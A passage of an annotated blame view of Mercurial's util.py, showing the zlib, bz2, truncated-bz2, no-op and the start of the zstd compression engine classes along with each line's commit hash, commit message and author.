parents: 30794
diff changeset
  3846
        ``revlogheader()``. The method should return the raw, uncompressed
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3847
        data or raise a ``RevlogError``.
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3848
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3849
        The object is reusable but is not thread safe.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3850
        """
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3851
        raise NotImplementedError()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3852
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3853
class _zlibengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3854
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3855
        return 'zlib'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3856
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3857
    def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3858
        """zlib compression using the DEFLATE algorithm.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3859
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3860
        All Mercurial clients should support this format. The compression
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3861
        algorithm strikes a reasonable balance between compression ratio
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3862
        and size.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3863
        """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3864
        return 'gzip', 'GZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3865
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3866
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3867
        return compewireprotosupport('zlib', 20, 20)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3868
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3869
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3870
        return 'x'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3871
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3872
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3873
        opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3874
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3875
        z = zlib.compressobj(opts.get('level', -1))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3876
        for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3877
            data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3878
            # Not all calls to compress emit data. It is cheaper to inspect
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3879
            # here than to feed empty chunks through generator.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3880
            if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3881
                yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3882
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3883
        yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3884
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3885
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3886
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3887
            d = zlib.decompressobj()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3888
            for chunk in filechunkiter(fh):
30536
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30473
diff changeset
  3889
                while chunk:
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30473
diff changeset
  3890
                    # Limit output size to limit memory.
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30473
diff changeset
  3891
                    yield d.decompress(chunk, 2 ** 18)
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30473
diff changeset
  3892
                    chunk = d.unconsumed_tail
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3893
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3894
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3895
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3896
    class zlibrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3897
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3898
            insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3899
            # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3900
            assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3901
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3902
            if insize < 44:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3903
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3904
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3905
            elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3906
                compressed = zlib.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3907
                if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3908
                    return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3909
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3910
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3911
            # zlib makes an internal copy of the input buffer, doubling
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3912
            # memory usage for large inputs. So do streaming compression
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3913
            # on large inputs.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3914
            else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3915
                z = zlib.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3916
                parts = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3917
                pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3918
                while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3919
                    pos2 = pos + 2**20
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3920
                    parts.append(z.compress(data[pos:pos2]))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3921
                    pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3922
                parts.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3923
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3924
                if sum(map(len, parts)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3925
                    return ''.join(parts)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3926
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3927
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3928
        def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3929
            try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3930
                return zlib.decompress(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3931
            except zlib.error as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3932
                raise error.RevlogError(_('revlog decompress error: %s') %
36422
04c319a07c7b py3: hunt down str(exception) instances and use util.forcebytestr
Augie Fackler <augie@google.com>
parents: 36418
diff changeset
  3933
                                        forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3934
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3935
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3936
        return self.zlibrevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3937
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3938
compengines.register(_zlibengine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3939
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3940
class _bz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3941
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3942
        return 'bz2'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3943
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3944
    def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3945
        """An algorithm that produces smaller bundles than ``gzip``.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3946
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3947
        All Mercurial clients should support this format.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3948
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3949
        This engine will likely produce smaller bundles than ``gzip`` but
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3950
        will be significantly slower, both during compression and
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3951
        decompression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3952
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3953
        If available, the ``zstd`` engine can yield similar or better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3954
        compression at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3955
        """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3956
        return 'bzip2', 'BZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3957
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3958
    # We declare a protocol name but don't advertise by default because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3959
    # it is slow.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3960
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3961
        return compewireprotosupport('bzip2', 0, 0)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3962
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3963
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3964
        opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3965
        z = bz2.BZ2Compressor(opts.get('level', 9))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3966
        for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3967
            data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3968
            if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3969
                yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3970
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3971
        yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3972
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3973
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3974
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3975
            d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3976
            for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3977
                yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3978
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3979
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3980
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3981
compengines.register(_bz2engine())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3982
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3983
class _truncatedbz2engine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3984
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3985
        return 'bz2truncated'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3986
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3987
    def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3988
        return None, '_truncatedBZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3989
30359
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30356
diff changeset
  3990
    # We don't implement compressstream because it is hackily handled elsewhere.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3991
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3992
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3993
        def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3994
            # The input stream doesn't have the 'BZ' header. So add it back.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3995
            d = bz2.BZ2Decompressor()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3996
            d.decompress('BZ')
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3997
            for chunk in filechunkiter(fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3998
                yield d.decompress(chunk)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3999
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4000
        return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4001
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4002
compengines.register(_truncatedbz2engine())
30265
6a8aff737a17 util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30181
diff changeset
  4003
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4004
class _noopengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4005
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4006
        return 'none'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4007
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4008
    def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4009
        """No compression is performed.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4010
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4011
        Use this compression engine to explicitly disable compression.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4012
        """
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4013
        return 'none', 'UN'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4014
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4015
    # Clients always support uncompressed payloads. Servers don't because
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4016
    # unless you are on a fast network, uncompressed payloads can easily
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4017
    # saturate your network pipe.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4018
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4019
        return compewireprotosupport('none', 0, 10)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4020
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4021
    # We don't implement revlogheader because it is handled specially
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4022
    # in the revlog class.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4023
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  4024
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  4025
        return it
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  4026
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4027
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4028
        return fh
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4029
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4030
    class nooprevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4031
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4032
            return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4033
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4034
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4035
        return self.nooprevlogcompressor()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4036
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  4037
compengines.register(_noopengine())
26266
1e042e31bd0c changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 26201
diff changeset
  4038
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4039
class _zstdengine(compressionengine):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4040
    def name(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4041
        return 'zstd'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4042
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4043
    @propertycache
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4044
    def _module(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4045
        # Not all installs have the zstd module available. So defer importing
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4046
        # until first access.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4047
        try:
41a8106789ca util: implement zstd compression engine
